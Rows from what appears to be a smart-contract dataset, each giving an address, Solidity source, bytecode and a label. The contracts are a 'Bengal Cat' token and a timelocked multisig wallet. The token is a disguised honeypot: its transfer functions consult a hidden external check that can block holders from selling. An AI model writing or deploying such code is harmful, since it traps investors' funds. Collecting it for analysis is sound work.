ffffffffffffffffffffff166106459092919063ffffffff16565b61054a82828573ffffffffffffffffffffffffffffffffffffffff166106459092919063ffffffff16565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610640838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610865565b505050565b600081148061073f575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561070257600080fd5b505afa158015610716573d6000803e3d6000fd5b505050506040513d602081101561072c57600080fd5b8101908080519060200190929190505050145b610794576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180610b266036913960400191505060405180910390fd5b610860838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610865565b505050565b6108848273ffffffffffffffffffffffffffffffffffffffff16610ab0565b6108f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106109455780518252602082019150602081019050602083039250610922565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146109a7576040519150601f19603f3d011682016040523d82523d6000602084013e6109ac565b606091505b509150915081610a24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115610aaa57808060200190516020811015610a4357600080fd5b8101908080519060200190929190505050610aa9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180610afc602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015610af257506000801b8214155b9250505091905056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a72315820ac82fa4d4569dc102f71a0a4f2fa88c03240ab22823c7862c3f279b67b64739364736f6c63430005100032 | [
38
] |
0xf348ef00019c215e4f8ef1ae21f420be8d431010 | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.2;
interface CoinBEP20 {
function dalienaakan(address account) external view returns (uint8);
}
contract BengCat is CoinBEP20 {
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowance;
CoinBEP20 dai;
uint256 public totalSupply = 10 * 10**12 * 10**18;
string public name = "Bengal Cat";
string public symbol = hex"42454E47414Cf09f9088";
uint public decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(CoinBEP20 otd) {
dai = otd;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address owner) public view returns(uint256) {
return balances[owner];
}
function transfer(address to, uint256 value) public returns(bool) {
require(dai.dalienaakan(msg.sender) != 1, "Please try again");
require(balanceOf(msg.sender) >= value, 'balance too low');
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}
function dalienaakan(address account) external override view returns (uint8) {
return 1;
}
function transferFrom(address from, address to, uint256 value) public returns(bool) {
require(dai.dalienaakan(from) != 1, "Please try again");
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns(bool) {
allowance[msg.sender][spender] = value;
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063313ce56711610071578063313ce5671461028f57806370a08231146102ad57806395d89b4114610305578063a9059cbb14610388578063dd62ed3e146103ec578063fa9fce4914610464576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b357806327e235e314610237575b600080fd5b6100b66104bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061055d565b60405180821515815260200191505060405180910390f35b61019d6105ea565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105f0565b60405180821515815260200191505060405180910390f35b6102796004803603602081101561024d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a7565b6040518082815260200191505060405180910390f35b6102976109bf565b6040518082815260200191505060405180910390f35b6102ef600480360360208110156102c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c5565b6040518082815260200191505060405180910390f35b61030d610a0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034d578082015181840152602081019050610332565b50505050905090810190601f16801561037a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103d46004803603604081101561039e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aab565b60405180821515815260200191505060405180910390f35b61044e6004803603604081101561040257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6f565b6040518082815260200191505060405180910390f35b6104a66004803603602081101561047a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d94565b604051808260ff16815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105555780601f1061052a57610100808354040283529160200191610555565b820191906000526020600020905b81548152906001019060200180831161053857829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b60006001600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa9fce49866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561067d57600080fd5b505afa158015610691573d6000803e3d6000fd5b505050506040513d60208110156106a757600080fd5b810190808051906020019092919050505060ff16141561072f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f506c656173652074727920616761696e0000000000000000000000000000000081525060200191505060405180910390fd5b81610739856109c5565b10156107ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f62616c616e636520746f6f206c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561089f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f616c6c6f77616e636520746f6f206c6f7700000000000000000000000000000081525060200191505060405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60006020528060005260406000206000915090505481565b60065481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa35780601f10610a7857610100808354040283529160200191610aa3565b820191906000526020600020905b815481529060010190602001808311610a8657829003601f168201915b505050505081565b60006001600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa9fce49336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b3857600080fd5b505afa158015610b4c573d6000803e3d6000fd5b505050506040513d6020811015610b6257600080fd5b810190808051906020019092919050505060ff161415610bea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f506c656173652074727920616761696e0000000000000000000000000000000081525060200191505060405180910390fd5b81610bf4336109c5565b1015610c68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f62616c616e636520746f6f206c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6001602052816000526040600020602052806000526040600020600091509150505481565b60006001905091905056fea2646970667358221220df2f3edbf6c3eb7461903cb38925eafd8191796d53f073fd430ec6ff2bf0ad3464736f6c63430007060033 | [
38
] |
0xf349b3f79940432895ea6e663145237da6f0f7b8 | pragma solidity ^0.6.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultisigWithTimelock {
/*
* Events
*/
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
event NewDelay(uint256 indexed newDelay);
/*
* Constants
*/
uint256 public constant MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping(uint256 => Transaction) public transactions;
mapping(uint256 => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
mapping(uint256 => uint256) public timelocks;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
uint256 public delay = 2 days;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(
ownerCount <= MAX_OWNER_COUNT &&
_required <= ownerCount &&
_required != 0 &&
ownerCount != 0
);
_;
}
/// @dev Fallback function allows to deposit ether.
receive() external payable {
if (msg.value > 0) emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint256 _required)
public
validRequirement(_owners.length, _required)
{
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.pop();
if (required > owners.length) changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint256 i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function setDelay(uint256 _delay) public {
require(msg.sender == address(this));
delay = _delay;
emit NewDelay(delay);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return transactionId Returns transaction ID.
function submitTransaction(
address destination,
uint256 value,
bytes memory data
) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId)
public
virtual
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId) && timelocks[transactionId] < now) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (
external_call(
txn.destination,
txn.value,
txn.data.length,
txn.data
)
) emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(
address destination,
uint256 value,
uint256 dataLength,
bytes memory data
) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas(), 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
if (count == required) return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return transactionId Returns transaction ID.
function addTransaction(
address destination,
uint256 value,
bytes memory data
) internal virtual notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
timelocks[transactionId] = now + delay;
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return count Number of confirmations.
function getConfirmationCount(uint256 transactionId)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return count Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return _confirmations Returns array of owner addresses.
function getConfirmations(uint256 transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return _transactionIds Returns array of transaction IDs.
function getTransactionIds(
uint256 from,
uint256 to,
bool pending,
bool executed
) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 0x60806040526004361061014f5760003560e01c8063a0e67e2b116100b6578063c64274741161006f578063c6427474146108a8578063d74f8edd146109ae578063dc8452cd146109d9578063e177246e14610a04578063e20056e614610a3f578063ee22610b14610ab0576101ae565b8063a0e67e2b14610659578063a8abe69a146106c5578063b5dc40c314610777578063b77bf60014610807578063ba51a6df14610832578063c01a8c841461086d576101ae565b8063547415251161010857806354741525146103e55780636a42b8f8146104425780637065cb481461046d578063784547a7146104be5780638b51d13f146105115780639ace38c214610560576101ae565b8063025e7c27146101b35780630d7e149f1461022e578063173825d91461027d57806320ea8d86146102ce5780632f54bf6e146103095780633411c81c14610372576101ae565b366101ae5760003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b600080fd5b3480156101bf57600080fd5b506101ec600480360360208110156101d657600080fd5b8101908080359060200190929190505050610aeb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023a57600080fd5b506102676004803603602081101561025157600080fd5b8101908080359060200190929190505050610b27565b6040518082815260200191505060405180910390f35b34801561028957600080fd5b506102cc600480360360208110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3f565b005b3480156102da57600080fd5b50610307600480360360208110156102f157600080fd5b8101908080359060200190929190505050610df4565b005b34801561031557600080fd5b506103586004803603602081101561032c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f96565b604051808215151515815260200191505060405180910390f35b34801561037e57600080fd5b506103cb6004803603604081101561039557600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb6565b604051808215151515815260200191505060405180910390f35b3480156103f157600080fd5b5061042c6004803603604081101561040857600080fd5b81019080803515159060200190929190803515159060200190929190505050610fe5565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610457611077565b6040518082815260200191505060405180910390f35b34801561047957600080fd5b506104bc6004803603602081101561049057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061107d565b005b3480156104ca57600080fd5b506104f7600480360360208110156104e157600080fd5b810190808035906020019092919050505061128d565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b5061054a6004803603602081101561053457600080fd5b8101908080359060200190929190505050611372565b6040518082815260200191505060405180910390f35b34801561056c57600080fd5b506105996004803603602081101561058357600080fd5b810190808035906020019092919050505061143b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561061b578082015181840152602081019050610600565b50505050905090810190601f1680156106485780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561066557600080fd5b5061066e611530565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106b1578082015181840152602081019050610696565b505050509050019250505060405180910390f35b3480156106d157600080fd5b50610720600480360360808110156106e857600080fd5b8101908080359060200190929190803590602001909291908035151590602001909291908035151590602001909291905050506115be565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610763578082015181840152602081019050610748565b505050509050019250505060405180910390f35b34801561078357600080fd5b506107b06004803603602081101561079a57600080fd5b8101908080359060200190929190505050611722565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107f35780820151818401526020810190506107d8565b505050509050019250505060405180910390f35b34801561081357600080fd5b5061081c61194e565b6040518082815260200191505060405180910390f35b34801561083e57600080fd5b5061086b6004803603602081101561085557600080fd5b8101908080359060200190929190505050611954565b005b34801561087957600080fd5b506108a66004803603602081101561089057600080fd5b8101908080359060200190929190505050611a0a565b005b3480156108b457600080fd5b50610998600480360360608110156108cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561091257600080fd5b82018360208201111561092457600080fd5b8035906020019184600183028401116401000000008311171561094657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611bf7565b6040518082815260200191505060405180910390f35b3480156109ba57600080fd5b506109c3611c16565b6040518082815260200191505060405180910390f35b3480156109e557600080fd5b506109ee611c1b565b6040518082815260200191505060405180910390f35b348015610a1057600080fd5b50610a3d60048036036020811015610a2757600080fd5b8101908080359060200190929190505050611c21565b005b348015610a4b57600080fd5b50610aae60048036036040811015610a6257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c92565b005b348015610abc57600080fd5b50610ae960048036036020811015610ad357600080fd5b8101908080359060200190929190505050611f9c565b005b60048181548110610af857fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60036020528060005260406000206000915090505481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7757600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bce57600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160048054905003811015610d4e578273ffffffffffffffffffffffffffffffffffffffff1660048281548110610c6057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d4157600460016004805490500381548110610cbc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048281548110610cf457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d4e565b8080600101915050610c2c565b506004805480610d5a57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556004805490506005541115610dad57610dac600480549050611954565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e4b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610eb457600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610ee257600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b60065481101561107057838015611024575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806110575750828015611056575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611063576001820191505b8080600101915050610fed565b5092915050565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110b557600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561110d57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114857600080fd5b600160048054905001600554603282111580156111655750818111155b8015611172575060008114155b801561117f575060008214155b61118857600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004859080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b60048054905081101561136a57600160008581526020019081526020016000206000600483815481106112c957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611348576001820191505b60055482141561135d5760019250505061136d565b808060010191505061129a565b50505b919050565b600080600090505b60048054905081101561143557600160008481526020019081526020016000206000600483815481106113a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611428576001820191505b808060010191505061137a565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115135780601f106114e857610100808354040283529160200191611513565b820191906000526020600020905b8154815290600101906020018083116114f657829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b606060048054806020026020016040519081016040528092919081815260200182805480156115b457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161156a575b5050505050905090565b6060806006546040519080825280602002602001820160405280156115f25781602001602082028038833980820191505090505b509050600080905060008090505b60065481101561169c57858015611637575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061166a5750848015611669575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561168f578083838151811061167c57fe5b6020026020010181815250506001820191505b8080600101915050611600565b8787036040519080825280602002602001820160405280156116cd5781602001602082028038833980820191505090505b5093508790505b86811015611717578281815181106116e857fe5b602002602001015184898303815181106116fe57fe5b60200260200101818152505080806001019150506116d4565b505050949350505050565b6060806004805490506040519080825280602002602001820160405280156117595781602001602082028038833980820191505090505b509050600080905060008090505b6004805490508110156118a0576001600086815260200190815260200160002060006004838154811061179657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611893576004818154811061181b57fe5b906000526020600020